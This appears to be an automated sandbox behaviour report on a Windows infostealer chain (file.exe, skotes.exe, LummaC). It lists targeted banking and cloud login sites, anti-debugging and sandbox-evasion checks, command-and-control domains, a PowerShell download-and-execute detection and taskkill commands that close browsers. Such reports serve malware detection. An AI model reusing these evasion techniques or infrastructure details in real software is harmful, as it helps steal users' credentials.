Source: file.exe, 00000001.00000003.2192820667.0000000004B85000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000000.2175737865.00000000003D6000.00000080.00000001.01000000.00000003.sdmp, Z3WVQPAQZN7WXE31OIKO79M3XY.exe, 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmp, FMQRQQBV70LQ52SA3P6LYU.exe, FMQRQQBV70LQ52SA3P6LYU.exe, 00000005.00000002.2454694278.00000000010B1000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, skotes.exe, 00000006.00000002.2476807401.00000000009D1000.00000040.00000001.01000000.0000000C.sdmp, 445877ac99.exe, 0000000B.00000003.2829388330.0000000004DC2000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000000.2818763585.00000000005C6000.00000080.00000001.01000000.0000000F.sdmp, d319b3db9a.exe, 0000000C.00000002.2941508318.0000000000E81000.00000040.00000001.01000000.00000010.sdmp, 445877ac99.exe, 0000001E.00000003.3021889344.000000000536B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: d319b3db9a.exe, 0000000C.00000002.2940937708.000000000087E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareV>z
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: firefox.exe, 0000001A.00000002.3227031750.00000234E0580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW c\
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: d319b3db9a.exe, 0000000C.00000002.2940937708.00000000008C4000.00000004.00000020.00020000.00000000.sdmp, d319b3db9a.exe, 0000000C.00000002.2940937708.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001B.00000002.3014369774.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3206768749.000001B2BC7DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: num.exe, 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaret
Source: firefox.exe, 0000001A.00000002.3227031750.00000234E05A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'
Source: firefox.exe, 0000001A.00000002.3236357921.00000234EA6BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220970753.000001B2BCC16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005559000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000001.00000003.2245183225.00000000053CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lqeMuUnwoUAFmVChtHrzZUujZ1qMtmQu
Source: num.exe, 0000001B.00000002.3014369774.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 0000001A.00000002.3227031750.00000234E05A2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3221846343.000001B2BD040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000001.00000003.2245121678.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244934691.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244458032.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244684086.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2245081947.00000000053C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: upGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQu
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: num.exe, 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: firefox.exe, 0000001D.00000002.3221846343.000001B2BD040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllXj^z
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe, 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmp, FMQRQQBV70LQ52SA3P6LYU.exe, 00000005.00000002.2454694278.00000000010B1000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.2476807401.00000000009D1000.00000040.00000001.01000000.0000000C.sdmp, d319b3db9a.exe, 0000000C.00000002.2941508318.0000000000E81000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 445877ac99.exe, 0000000B.00000003.2882144184.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: file.exe, 00000001.00000003.2192820667.0000000004B85000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000000.2175737865.00000000003D6000.00000080.00000001.01000000.00000003.sdmp, 445877ac99.exe, 0000000B.00000003.2829388330.0000000004DC2000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000000.2818763585.00000000005C6000.00000080.00000001.01000000.0000000F.sdmp, 445877ac99.exe, 0000001E.00000003.3021889344.000000000536B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TiwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO)iwO\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe

Code function: 4_2_00AEF4BC rdtsc

4_2_00AEF4BC

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe

Code function: 4_2_0096B9C8 LdrInitializeThunk,

4_2_0096B9C8

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: d319b3db9a.exe PID: 3700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 3108, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000001.00000003.2189624950.0000000004810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000001.00000003.2189624950.0000000004810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000001.00000003.2189624950.0000000004810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000001.00000003.2189624950.0000000004810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000001.00000003.2189624950.0000000004810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000001.00000003.2189624950.0000000004810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000001.00000003.2189624950.0000000004810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000001.00000003.2189624950.0000000004810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe "C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe "C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe "C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe "C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002748001\num.exe "C:\Users\user\AppData\Local\Temp\1002748001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T

Source: b0a3006fe7.exe, 0000000D.00000002.3009771409.00000000004F2000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: FMQRQQBV70LQ52SA3P6LYU.exe, FMQRQQBV70LQ52SA3P6LYU.exe, 00000005.00000002.2454694278.00000000010B1000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, skotes.exe, 00000006.00000002.2476807401.00000000009D1000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: :4Program Manager
Source: firefox.exe, 0000001A.00000002.3210461086.0000009FDF87B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: d319b3db9a.exe, 0000000C.00000002.2941508318.0000000000E81000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: tProgram Manager
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe, 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: 5YProgram Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002748001\num.exe VolumeInformation	Jump to behavior
